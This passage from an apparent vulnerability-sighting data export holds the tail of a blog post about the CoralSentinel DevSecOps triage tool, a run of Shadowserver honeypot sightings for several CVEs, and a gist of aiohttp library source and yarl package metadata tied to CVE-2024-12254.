`pillow` vulnerability\n    isn't just theoretical: it lines up with **12 \"fatal\" errors in Sentry in the same time\n    window.** That's not a someday-problem on a backlog \u2014 that's *your image feature crashing for\n    real users right now.* And you could **only** see that because OSV (the vulnerability) was\n    joined to Sentry (the live crashes). Neither tool knows that on its own.\n  - \ud83d\udfe2 **Already handled** \u2014 The `django` vulnerability already has a Jira ticket marked \"In\n    Progress.\" Someone's on it. So the tool stays quiet about it \u2014 no nagging, no \"alert\n    fatigue.\"\n\n  That middle one \u2014 connecting *\"there's a known bug\"* to *\"and it's crashing the app right\n  now\"* \u2014 is the insight that's basically impossible without cross-tool SQL. That's the whole\n  pitch in one screenshot.\n\n  ---\n\n  ## From \"here's the problem\" to \"here's the fix\" \u2014 safely\n\n  Spotting the problem is only half the job. CoralSentinel then acts like a careful assistant. I\n  call the overall flow **DETECT \u2192 RECOMMEND \u2192 ACT**:\n\n  | Step | What happens | In plain words |\n  |---|---|---|\n  | **DETECT** | Cross-source SQL reads all five tools | \"Here's what I found.\" |\n  | **RECOMMEND** | The assistant suggests a to-do list | \"Here's what I'd do about it.\" |\n  | **ACT** | It does the tasks \u2014 *only after you approve* | \"Want me to? Click yes.\" |\n\n  For our example, the RECOMMEND step produces a tidy, ordered list like:\n\n  1. Open a Jira ticket for the untracked `requests` vulnerability.\n  2. Open a Jira ticket for the `pillow` one \u2014 **flagged urgent** (it's actively crashing things).\n  3. Draft a GitHub pull request to upgrade `pillow` from version 9.0.0 to 10.3.0.\n  4. Add a note (an \"annotation\") to the Grafana dashboard timeline.\n  5. Write up a short security report.\n\n  ### The safety rule I'm most proud of\n\n  Here's the part that matters if you're nervous about letting software touch your systems:\n\n  > **Coral can only ever *read*. It physically cannot change anything.**\n\n  Reading data and changing data are kept in completely separate parts of the program. Nothing\n  gets written to Jira, GitHub, or Grafana until **a human clicks \"Approve.\"** No runaway robot\n  making changes on its own. You stay in control; the tool just removes the busywork. The result:\n  about 30 minutes of manual detective work collapses into roughly 30 seconds \u2014 without handing\n  over the keys.\n\n  ---\n\n  ## \"Wait, where's the AI?\"\n\n  Good \u2014 you noticed I've barely mentioned AI, even though this is an AI-security tool. That's on\n  purpose. The clever part isn't the AI; it's the SQL. But there *is* a friendly AI layer on top,\n  and it does two nice things:\n\n  **1. It writes the SQL for you.** You can type a plain-English question like *\"Which packages\n  have untracked critical CVEs?\"* and the AI (an **LLM**, or Large Language Model \u2014 the same kind\n  of tech behind chatbots) turns it into a proper Coral SQL query, runs it, and explains the\n  results. Importantly, **it then shows you the exact SQL it wrote.** No mystery, no black box \u2014\n  you can read precisely what it asked the database.\n\n  **2. You can bring your own AI.** I didn't lock the project to one AI company. It works with\n  four interchangeable options, so you can use whatever you already have access to:\n\n  | AI provider | How you'd use it |\n  |---|---|\n  | **Cursor** | Use your existing Cursor subscription via a small local helper \u2014 no extra key needed |\n  | **EURI** | A simple API key |\n  | **Grok** (from xAI) | A simple API key |\n  | **Anthropic** (Claude) | A simple API key |\n\n  You set one setting (`LLM_PROVIDER`), or just leave it on `auto` and it picks the first one\n  you've configured. Under the hood it's one tidy function that all four plug into.\n\n  And there's a guardrail baked into the AI's instructions: it's **only ever allowed to write\n  read-only queries.** The code literally rejects any AI-generated query that tries to change\n  data \u2014 it checks for forbidden words like `INSERT`, `UPDATE`, and `DELETE` and refuses to run\n  them. Belt *and* suspenders.\n\n  ---\n\n  ## A few grown-up touches\n\n  Because I wanted this to feel like a real tool and not a toy script, I added a couple of things\n  beginners might find interesting:\n\n  - **A login screen with organizations.** When you sign up, you create an \"organization\" (think:\n    your team's workspace) and become its first member. Passwords are stored scrambled (a process\n    called **hashing**, so even I can't read them), and you stay logged in via a secure browser\n    cookie. All built with Python's standard toolkit \u2014 no heavy extra libraries.\n  - **A memory for recent questions (caching).** If the tool just asked Coral something, it\n    remembers the answer for a short while instead of pestering the five APIs again. So flipping\n    between tabs feels instant. (In the code, this is a small dictionary that stores results with\n    a timestamp \u2014 simple, but effective.)\n  - **Two ways to use it.** There's a slick dark-themed web dashboard *and* a command-line version\n    for terminal fans. Both run the exact same SQL underneath.\n\n  Here's the command-line version, start to finish:\n\n  ```bash\n  # 1. DETECT \u2014 scan some packages for trouble\n  coralsentinel scan --packages django,requests,pillow,celery\n\n  # 2. RECOMMEND \u2014 see the suggested to-do list\n  coralsentinel recommend --packages django,requests,pillow,celery\n\n  # 3. ACT \u2014 approve everything (only now does anything get written)\n  coralsentinel act --approve-all\n  ```\n\n  ---\n\n  ## Try it yourself\n\n  If you want to poke at it, here's the short version:\n\n  ```bash\n  git clone  coral-sentinel\n  cd coral-sentinel\n  pip install -e .\n\n  # Teach Coral about the OSV vulnerability database (it's a public API, no login needed)\n  coral source add --file ./sources/osv/osv.yaml\n\n  # Start the web dashboard\n  uvicorn devsecops_coral.api:app --reload --port 8000\n  cd frontend && npm install && npm run dev   # then open http://localhost:5173\n  ```\n\n  > Repo: `` \u00b7 Live demo: ``\n\n  ---\n\n  ## What I actually learned\n\n  If you take one thing from this article, let it be this:\n\n  Teams building AI products don't really have a vulnerability **detection** problem anymore \u2014\n  scanners and registries are good at shouting \"this package is risky!\" What they have is a\n  **triage** problem: *out of all these warnings, which one is actually on fire right now, and\n  who owns putting it out?*\n\n  Answering that means connecting tools that were never designed to talk to each other. And the\n  reason I \u2014 one person, in a hackathon week \u2014 could build a five-tool correlation engine, an\n  approval-gated assistant, a login system, *and* support for four different AI providers, is\n  **not** that I'm especially fast. It's that Coral deleted the part that's normally the hard\n  part. Once your messy, far-flung tools all become tidy SQL tables, the work stops being\n  *plumbing* and starts being the *interesting question*.\n\n  That's the real lesson, and it's a beginner-friendly one: **the right tool doesn't just make\n  hard work easier \u2014 it makes a different kind of work possible.** CoralSentinel is an 80%\n  proof-of-concept of that idea. It's rough in places, it's unfinished on purpose, and I think\n  it's all the more convincing for it.\n\n  Thanks for reading. If you're just getting into security tooling or SQL, I hope this made the\n  whole thing feel a little less mysterious. \ud83e\udeb8\n\n  ---\n\n  *Built for Pirates of the Coral-bean (WeMakeDevs \u00d7 Coral), Track 1 \u2014 Enterprise Agent.*\n\n  \n", "creation_timestamp": "2026-05-30T07:39:07.000000Z"}, {"uuid": "b5548330-87eb-48c7-9756-54214fd9f540", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-29)", "content": "", "creation_timestamp": "2026-05-29T00:00:00.000000Z"}, {"uuid": "54426208-6d6a-4b13-8e7f-cd639afa1fe3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-11)", "content": "", "creation_timestamp": "2026-08-12T10:00:03.278629Z"}, {"uuid": "b4244a57-c5c4-47a3-8ee1-13902226f9a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-29)", "content": "", "creation_timestamp": "2026-05-29T00:00:00.000000Z"}, {"uuid": "2d3f1ee2-5f5f-4081-8c3a-12df6f7a2e77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-30)", "content": "", "creation_timestamp": "2026-05-30T00:00:00.000000Z"}, {"uuid": "6e84ff8d-491c-4a18-ba76-77dcdf7bdb21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-30)", "content": "", "creation_timestamp": "2026-05-30T00:00:00.000000Z"}, {"uuid": "b5828be7-945b-4e9a-b186-4d52adeddeed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-11)", "content": "", "creation_timestamp": "2026-08-12T10:15:06.427400Z"}, {"uuid": "fc9b154b-e358-49a8-b489-ced3753fcd77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-07)", "content": "", "creation_timestamp": "2026-08-08T10:19:24.703199Z"}, {"uuid": "876db304-ad12-47da-8ab5-ed1b6c49b095", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-31)", "content": "", "creation_timestamp": "2026-05-31T00:00:00.000000Z"}, {"uuid": "f5fcb953-ac9d-4bce-8ede-f3f517f04bb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-01)", "content": "", "creation_timestamp": "2026-06-01T00:00:00.000000Z"}, {"uuid": "9c86b1c1-a979-40e8-b00d-9489da3a1bbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-01)", "content": "", "creation_timestamp": "2026-06-01T00:00:00.000000Z"}, {"uuid": "47fda69b-43bb-4fc5-8f04-9d7a3033f7ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-02)", "content": "", "creation_timestamp": "2026-06-02T00:00:00.000000Z"}, {"uuid": "83f8fc4b-57df-4968-b635-d92f1a63380a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-02)", "content": "", "creation_timestamp": "2026-06-02T00:00:00.000000Z"}, {"uuid": "ea3f166a-faa3-4515-9df2-67c060f1746e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-03)", "content": "", "creation_timestamp": "2026-06-03T00:00:00.000000Z"}, {"uuid": "0f03d415-025a-47dd-b903-dd8c3c3567ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-03)", "content": "", "creation_timestamp": "2026-06-03T00:00:00.000000Z"}, {"uuid": "6f4fdc1a-6e83-4ad7-97e2-b8929fec03bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-03)", "content": "", "creation_timestamp": "2026-06-03T00:00:00.000000Z"}, {"uuid": "689d3c5f-5aaa-43c5-a1c6-7aded976b983", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12254", "type": "seen", "source": "https://gist.github.com/xinhongwang138-hue/6b83f89fed135d1aad9c8de5c574e471", "content": "import re\nfrom typing import TYPE_CHECKING, TypeVar\n\nfrom .typedefs import Handler, Middleware\nfrom .web_exceptions import HTTPMove, HTTPPermanentRedirect\nfrom .web_request import Request\nfrom .web_response import StreamResponse\nfrom .web_urldispatcher import SystemRoute\n\n__all__ = (\n    \"middleware\",\n    \"normalize_path_middleware\",\n)\n\nif TYPE_CHECKING:\n    from .web_app import Application\n\n_Func = TypeVar(\"_Func\")\n\n\nasync def _check_request_resolves(request: Request, path: str) -> tuple[bool, Request]:\n    alt_request = request.clone(rel_url=path)\n\n    match_info = await request.app.router.resolve(alt_request)\n    alt_request._match_info = match_info\n\n    if match_info.http_exception is None:\n        return True, alt_request\n\n    return False, request\n\n\ndef middleware(f: _Func) -> _Func:\n    f.__middleware_version__ = 1  # type: ignore[attr-defined]\n    return f\n\n\ndef normalize_path_middleware(\n    *,\n    append_slash: bool = True,\n    remove_slash: bool = False,\n    merge_slashes: bool = True,\n    redirect_class: type[HTTPMove] = HTTPPermanentRedirect,\n) -> Middleware:\n    \"\"\"Factory for producing a middleware that normalizes the path of a request.\n\n    Normalizing means:\n        - Add or remove a trailing slash to the path.\n        - Double slashes are replaced by one.\n\n    The middleware returns as soon as it finds a path that resolves\n    correctly. The order if both merge and append/remove are enabled is\n        1) merge slashes\n        2) append/remove slash\n        3) both merge slashes and append/remove slash.\n    If the path resolves with at least one of those conditions, it will\n    redirect to the new path.\n\n    Only one of `append_slash` and `remove_slash` can be enabled. If both\n    are `True` the factory will raise an assertion error\n\n    If `append_slash` is `True` the middleware will append a slash when\n    needed. If a resource is defined with trailing slash and the request\n    comes without it, it will append it automatically.\n\n    If `remove_slash` is `True`, `append_slash` must be `False`. When enabled\n    the middleware will remove trailing slashes and redirect if the resource\n    is defined\n\n    If merge_slashes is True, merge multiple consecutive slashes in the\n    path into one.\n    \"\"\"\n    correct_configuration = not (append_slash and remove_slash)\n    assert correct_configuration, \"Cannot both remove and append slash\"\n\n    @middleware\n    async def impl(request: Request, handler: Handler) -> StreamResponse:\n        if isinstance(request.match_info.route, SystemRoute):\n            paths_to_check = []\n            if \"?\" in request.raw_path:\n                path, query = request.raw_path.split(\"?\", 1)\n                query = \"?\" + query\n            else:\n                query = \"\"\n                path = request.raw_path\n\n            if merge_slashes:\n                paths_to_check.append(re.sub(\"//+\", \"/\", path))\n            if append_slash and not request.path.endswith(\"/\"):\n                paths_to_check.append(path + \"/\")\n            if remove_slash and request.path.endswith(\"/\"):\n                paths_to_check.append(path[:-1])\n            if merge_slashes and append_slash:\n                paths_to_check.append(re.sub(\"//+\", \"/\", path + \"/\"))\n            if merge_slashes and remove_slash:\n                merged_slashes = re.sub(\"//+\", \"/\", path)\n                paths_to_check.append(merged_slashes[:-1])\n\n            for path in paths_to_check:\n                path = re.sub(\"^//+\", \"/\", path)  # SECURITY: GHSA-v6wp-4m6f-gcjg\n                resolves, request = await _check_request_resolves(request, path)\n                if resolves:\n                    raise redirect_class(request.raw_path + query)\n\n        return await handler(request)\n\n    return impl\n\n\ndef _fix_request_current_app(app: \"Application\") -> Middleware:\n    @middleware\n    async def impl(request: Request, handler: Handler) -> StreamResponse:\n        match_info = request.match_info\n        prev = match_info.current_app\n        match_info.current_app = app\n        try:\n            return await handler(request)\n        finally:\n            match_info.current_app = prev\n\n    return impl\n\n\n\"\"\"Http related parsers and protocol.\"\"\"\n\nimport asyncio\nimport re\nimport sys\nfrom typing import (  # noqa\n    TYPE_CHECKING,\n    Any,\n    Awaitable,\n    Callable,\n    Iterable,\n    List,\n    NamedTuple,\n    Optional,\n)\n\nfrom multidict import CIMultiDict\n\nfrom .abc import AbstractStreamWriter\nfrom .base_protocol import BaseProtocol\nfrom .client_exceptions import ClientConnectionResetError\nfrom .compression_utils import ZLibCompressor\nfrom .helpers import NO_EXTENSIONS\n\n__all__ = (\"StreamWriter\", \"HttpVersion\", \"HttpVersion10\", \"HttpVersion11\")\n\nif sys.version_info >= (3, 12):\n    from collections.abc import Buffer\nelse:\n    from typing import Union\n\n    Buffer = Union[bytes, bytearray, \"memoryview[int]\", \"memoryview[bytes]\"]\n\n\nMIN_PAYLOAD_FOR_WRITELINES = 2048\nIS_PY313_BEFORE_313_2 = (3, 13, 0) <= sys.version_info < (3, 13, 2)\nIS_PY_BEFORE_312_9 = sys.version_info < (3, 12, 9)\nSKIP_WRITELINES = IS_PY313_BEFORE_313_2 or IS_PY_BEFORE_312_9\n# writelines is not safe for use\n# on Python 3.12+ until 3.12.9\n# on Python 3.13+ until 3.13.2\n# and on older versions it not any faster than write\n# CVE-2024-12254: https://github.com/python/cpython/pull/127656\n\n\nclass HttpVersion(NamedTuple):\n    major: int\n    minor: int\n\n\nHttpVersion10 = HttpVersion(1, 0)\nHttpVersion11 = HttpVersion(1, 1)\n\n\n_T_OnChunkSent = Optional[Callable[[Buffer], Awaitable[None]]]\n_T_OnHeadersSent = Optional[Callable[[\"CIMultiDict[str]\"], Awaitable[None]]]\n\n\nclass StreamWriter(AbstractStreamWriter):\n\n    length: int | None = None\n    chunked: bool = False\n    _eof: bool = False\n    _compress: ZLibCompressor | None = None\n\n    def __init__(\n        self,\n        protocol: BaseProtocol,\n        loop: asyncio.AbstractEventLoop,\n        on_chunk_sent: _T_OnChunkSent = None,\n        on_headers_sent: _T_OnHeadersSent = None,\n    ) -> None:\n        self._protocol = protocol\n        self.loop = loop\n        self._on_chunk_sent: _T_OnChunkSent = on_chunk_sent\n        self._on_headers_sent: _T_OnHeadersSent = on_headers_sent\n        self._headers_buf: bytes | None = None\n        self._headers_written: bool = False\n\n    @property\n    def transport(self) -> asyncio.Transport | None:\n        return self._protocol.transport\n\n    @property\n    def protocol(self) -> BaseProtocol:\n        return self._protocol\n\n    def enable_chunking(self) -> None:\n        self.chunked = True\n\n    def enable_compression(\n        self, encoding: str = \"deflate\", strategy: int | None = None\n    ) -> None:\n        self._compress = ZLibCompressor(encoding=encoding, strategy=strategy)\n\n    def _write(self, chunk: Buffer) -> None:\n        size = len(chunk)\n        self.buffer_size += size\n        self.output_size += size\n        transport = self._protocol.transport\n        if transport is None or transport.is_closing():\n            raise ClientConnectionResetError(\"Cannot write to closing transport\")\n        transport.write(chunk)\n\n    def _writelines(self, chunks: Iterable[Buffer]) -> None:\n        size = 0\n        for chunk in chunks:\n            size += len(chunk)\n        self.buffer_size += size\n        self.output_size += size\n        transport = self._protocol.transport\n        if transport is None or transport.is_closing():\n            raise ClientConnectionResetError(\"Cannot write to closing transport\")\n        if SKIP_WRITELINES or size < MIN_PAYLOAD_FOR_WRITELINES:\n            transport.write(b\"\".join(chunks))\n        else:\n            transport.writelines(chunks)\n\n    def _write_chunked_payload(self, chunk: Buffer) -> None:\n        \"\"\"Write a chunk with proper chunked encoding.\"\"\"\n        chunk_len_pre = f\"{len(chunk):x}\\r\\n\".encode(\"ascii\")\n        self._writelines((chunk_len_pre, chunk, b\"\\r\\n\"))\n\n    def _send_headers_with_payload(self, chunk: Buffer, is_eof: bool) -> None:\n        \"\"\"Send buffered headers with payload, coalescing into single write.\"\"\"\n        # Mark headers as written\n        self._headers_written = True\n        headers_buf = self._headers_buf\n        self._headers_buf = None\n\n        if TYPE_CHECKING:\n            # Safe because callers (write() and write_eof()) only invoke this method\n            # after checking that self._headers_buf is truthy\n            assert headers_buf is not None\n\n        if not self.chunked:\n            # Non-chunked: coalesce headers with body\n            if chunk:\n                self._writelines((headers_buf, chunk))\n            else:\n                self._write(headers_buf)\n            return\n\n        # Coalesce headers with chunked data\n        if chunk:\n            chunk_len_pre = f\"{len(chunk):x}\\r\\n\".encode(\"ascii\")\n            if is_eof:\n                self._writelines((headers_buf, chunk_len_pre, chunk, b\"\\r\\n0\\r\\n\\r\\n\"))\n            else:\n                self._writelines((headers_buf, chunk_len_pre, chunk, b\"\\r\\n\"))\n        elif is_eof:\n            self._writelines((headers_buf, b\"0\\r\\n\\r\\n\"))\n        else:\n            self._write(headers_buf)\n\n    async def write(\n        self, chunk: Buffer, *, drain: bool = True, LIMIT: int = 0x10000\n    ) -> None:\n        \"\"\"\n        Writes chunk of data to a stream.\n\n        write_eof() indicates end of stream.\n        writer can't be used after write_eof() method being called.\n        write() return drain future.\n        \"\"\"\n        if self._on_chunk_sent is not None:\n            await self._on_chunk_sent(chunk)\n\n        if isinstance(chunk, memoryview):\n            if chunk.nbytes != len(chunk):\n                # just reshape it\n                chunk = chunk.cast(\"c\")\n\n        if self._compress is not None:\n            chunk = await self._compress.compress(chunk)\n            if not chunk:\n                return\n\n        if self.length is not None:\n            chunk_len = len(chunk)\n            if self.length >= chunk_len:\n                self.length = self.length - chunk_len\n            else:\n                chunk = chunk[: self.length]\n                self.length = 0\n                if not chunk:\n                    return\n\n        # Handle buffered headers for small payload optimization\n        if self._headers_buf and not self._headers_written:\n            self._send_headers_with_payload(chunk, False)\n            if drain and self.buffer_size > LIMIT:\n                self.buffer_size = 0\n                await self.drain()\n            return\n\n        if chunk:\n            if self.chunked:\n                self._write_chunked_payload(chunk)\n            else:\n                self._write(chunk)\n\n            if drain and self.buffer_size > LIMIT:\n                self.buffer_size = 0\n                await self.drain()\n\n    async def write_headers(\n        self, status_line: str, headers: \"CIMultiDict[str]\"\n    ) -> None:\n        \"\"\"Write headers to the stream.\"\"\"\n        if self._on_headers_sent is not None:\n            await self._on_headers_sent(headers)\n        # status + headers\n        buf = _serialize_headers(status_line, headers)\n        self._headers_written = False\n        self._headers_buf = buf\n\n    def send_headers(self) -> None:\n        \"\"\"Force sending buffered headers if not already sent.\"\"\"\n        if not self._headers_buf or self._headers_written:\n            return\n\n        self._headers_written = True\n        headers_buf = self._headers_buf\n        self._headers_buf = None\n\n        if TYPE_CHECKING:\n            # Safe because we only enter this block when self._headers_buf is truthy\n            assert headers_buf is not None\n\n        self._write(headers_buf)\n\n    def set_eof(self) -> None:\n        \"\"\"Indicate that the message is complete.\"\"\"\n        if self._eof:\n            return\n\n        # If headers haven't been sent yet, send them now\n        # This handles the case where there's no body at all\n        if self._headers_buf and not self._headers_written:\n            self._headers_written = True\n            headers_buf = self._headers_buf\n            self._headers_buf = None\n\n            if TYPE_CHECKING:\n                # Safe because we only enter this block when self._headers_buf is truthy\n                assert headers_buf is not None\n\n            # Combine headers and chunked EOF marker in a single write\n            if self.chunked:\n                self._writelines((headers_buf, b\"0\\r\\n\\r\\n\"))\n            else:\n                self._write(headers_buf)\n        elif self.chunked and self._headers_written:\n            # Headers already sent, just send the final chunk marker\n            self._write(b\"0\\r\\n\\r\\n\")\n\n        self._eof = True\n\n    async def write_eof(self, chunk: bytes = b\"\") -> None:\n        if self._eof:\n            return\n\n        if chunk and self._on_chunk_sent is not None:\n            await self._on_chunk_sent(chunk)\n\n        # Handle body/compression\n        if self._compress:\n            chunks: list[bytes] = []\n            chunks_len = 0\n            if chunk and (compressed_chunk := await self._compress.compress(chunk)):\n                chunks_len = len(compressed_chunk)\n                chunks.append(compressed_chunk)\n\n            flush_chunk = self._compress.flush()\n            chunks_len += len(flush_chunk)\n            chunks.append(flush_chunk)\n            assert chunks_len\n\n            # Send buffered headers with compressed data if not yet sent\n            if self._headers_buf and not self._headers_written:\n                self._headers_written = True\n                headers_buf = self._headers_buf\n                self._headers_buf = None\n\n                if self.chunked:\n                    # Coalesce headers with compressed chunked data\n                    chunk_len_pre = f\"{chunks_len:x}\\r\\n\".encode(\"ascii\")\n                    self._writelines(\n                        (headers_buf, chunk_len_pre, *chunks, b\"\\r\\n0\\r\\n\\r\\n\")\n                    )\n                else:\n                    # Coalesce headers with compressed data\n                    self._writelines((headers_buf, *chunks))\n                await self.drain()\n                self._eof = True\n                return\n\n            # Headers already sent, just write compressed data\n            if self.chunked:\n                chunk_len_pre = f\"{chunks_len:x}\\r\\n\".encode(\"ascii\")\n                self._writelines((chunk_len_pre, *chunks, b\"\\r\\n0\\r\\n\\r\\n\"))\n            elif len(chunks) > 1:\n                self._writelines(chunks)\n            else:\n                self._write(chunks[0])\n            await self.drain()\n            self._eof = True\n            return\n\n        # No compression - send buffered headers if not yet sent\n        if self._headers_buf and not self._headers_written:\n            # Use helper to send headers with payload\n            self._send_headers_with_payload(chunk, True)\n            await self.drain()\n            self._eof = True\n            return\n\n        # Handle remaining body\n        if self.chunked:\n            if chunk:\n                # Write final chunk with EOF marker\n                self._writelines(\n                    (f\"{len(chunk):x}\\r\\n\".encode(\"ascii\"), chunk, b\"\\r\\n0\\r\\n\\r\\n\")\n                )\n            else:\n                self._write(b\"0\\r\\n\\r\\n\")\n            await self.drain()\n            self._eof = True\n            return\n\n        if chunk:\n            self._write(chunk)\n            await self.drain()\n\n        self._eof = True\n\n    async def drain(self) -> None:\n        \"\"\"Flush the write buffer.\n\n        The intended use is to write\n\n          await w.write(data)\n          await w.drain()\n        \"\"\"\n        protocol = self._protocol\n        if protocol.transport is not None and protocol._paused:\n            await protocol._drain_helper()\n\n\n# https://www.rfc-editor.org/info/rfc9110/#section-5.5-5\n# https://www.rfc-editor.org/info/rfc9112/#section-4-3\n_FORBIDDEN_HEADER_CHARS_RE = re.compile(r\"[\\x00-\\x08\\x0a-\\x1f\\x7f]\")\n\n\ndef _safe_header(string: str) -> str:\n    if _FORBIDDEN_HEADER_CHARS_RE.search(string) is not None:\n        raise ValueError(\n            \"Forbidden control character detected in headers. \"\n            \"Potential header injection attack.\"\n        )\n    return string\n\n\ndef _py_serialize_headers(status_line: str, headers: \"CIMultiDict[str]\") -> bytes:\n    _safe_header(status_line)\n    headers_gen = (_safe_header(k) + \": \" + _safe_header(v) for k, v in headers.items())\n    line = status_line + \"\\r\\n\" + \"\\r\\n\".join(headers_gen) + \"\\r\\n\\r\\n\"\n    return line.encode(\"utf-8\")\n\n\n_serialize_headers = _py_serialize_headers\n\ntry:\n    import aiohttp._http_writer as _http_writer  # type: ignore[import-not-found]\n\n    _c_serialize_headers = _http_writer._serialize_headers\n    if not NO_EXTENSIONS:\n        _serialize_headers = _c_serialize_headers\nexcept ImportError:\n    pass\n\n\nMetadata-Version: 2.4\nName: yarl\nVersion: 1.24.2\nSummary: Yet another URL library\nHome-page: https://github.com/aio-libs/yarl\nAuthor: Andrew Svetlov\nAuthor-email: andrew.svetlov@gmail.com\nMaintainer: aiohttp team \nMaintainer-email: team@aiohttp.org\nLicense: Apache-2.0\nProject-URL: Chat: Matrix, https://matrix.to/#/#aio-libs:matrix.org\nProject-URL: Chat: Matrix Space, https://matrix.to/#/#aio-libs-space:matrix.org\nProject-URL: CI: GitHub Workflows, https://github.com/aio-libs/yarl/actions?query=branch:master\nProject-URL: Code of Conduct, https://github.com/aio-libs/.github/blob/master/CODE_OF_CONDUCT.md\nProject-URL: Coverage: codecov, https://codecov.io/github/aio-libs/yarl\nProject-URL: Docs: Changelog, https://yarl.aio-libs.org/en/latest/changes/\nProject-URL: Docs: RTD, https://yarl.aio-libs.org\nProject-URL: GitHub: issues, https://github.com/aio-libs/yarl/issues\nProject-URL: GitHub: repo, https://github.com/aio-libs/yarl\nKeywords: cython,cext,yarl\nClassifier: Development Status :: 5 - Production/Stable\nClassifier: Intended Audience :: Developers\nClassifier: Programming Language :: Cython\nClassifier: Programming Language :: Python\nClassifier: Programming Language :: Python :: 3\nClassifier: Programming Language :: Python :: 3.10\nClassifier: Programming Language :: Python :: 3.11\nClassifier: Programming Language :: Python :: 3.12\nClassifier: Programming Language :: Python :: 3.13\nClassifier: Programming Language :: Python :: 3.14\nClassifier: Topic :: Internet :: WWW/HTTP\nClassifier: Topic :: Software Development :: Libraries :: Python Modules\nRequires-Python: >=3.10\nDescription-Content-Type: text/x-rst\nLicense-File: LICENSE\nLicense-File: NOTICE\nRequires-Dist: idna>=2.0\nRequires-Dist: multidict>=4.0\nRequires-Dist: propcache>=0.2.1\nDynamic: license-file\n\nyarl\n====\n\nThe module provides handy URL class for URL parsing and changing.\n\n.. image:: https://github.com/aio-libs/yarl/workflows/CI/badge.svg\n   :target: https://github.com/aio-libs/yarl/actions?query=workflow%3ACI\n   :align: right\n\n.. image:: https://codecov.io/gh/aio-libs/yarl/graph/badge.svg?flag=pytest\n   :target: https://app.codecov.io/gh/aio-libs/yarl?flags[]=pytest\n   :alt: Codecov coverage for the pytest-driven measurements\n\n.. image:: https://img.shields.io/endpoint?url=https://codspeed.io/badge.json\n   :target: https://codspeed.io/aio-libs/yarl\n\n.. image:: https://badge.fury.io/py/yarl.svg\n   :target: https://badge.fury.io/py/yarl\n\n.. image:: https://readthedocs.org/projects/yarl/badge/?version=latest\n   :target: https://yarl.aio-libs.org\n\n.. image:: https://img.shields.io/pypi/pyversions/yarl.svg\n   :target: https://pypi.python.org/pypi/yarl\n\n.. image:: https://img.shields.io/matrix/aio-libs:matrix.org?label=Discuss%20on%20Matrix%20at%20%23aio-libs%3Amatrix.org&logo=matrix&server_fqdn=matrix.org&style=flat\n   :target: https://matrix.to/#/%23aio-libs:matrix.org\n   :alt: Matrix Room \u2014 #aio-libs:matrix.org\n\n.. image:: 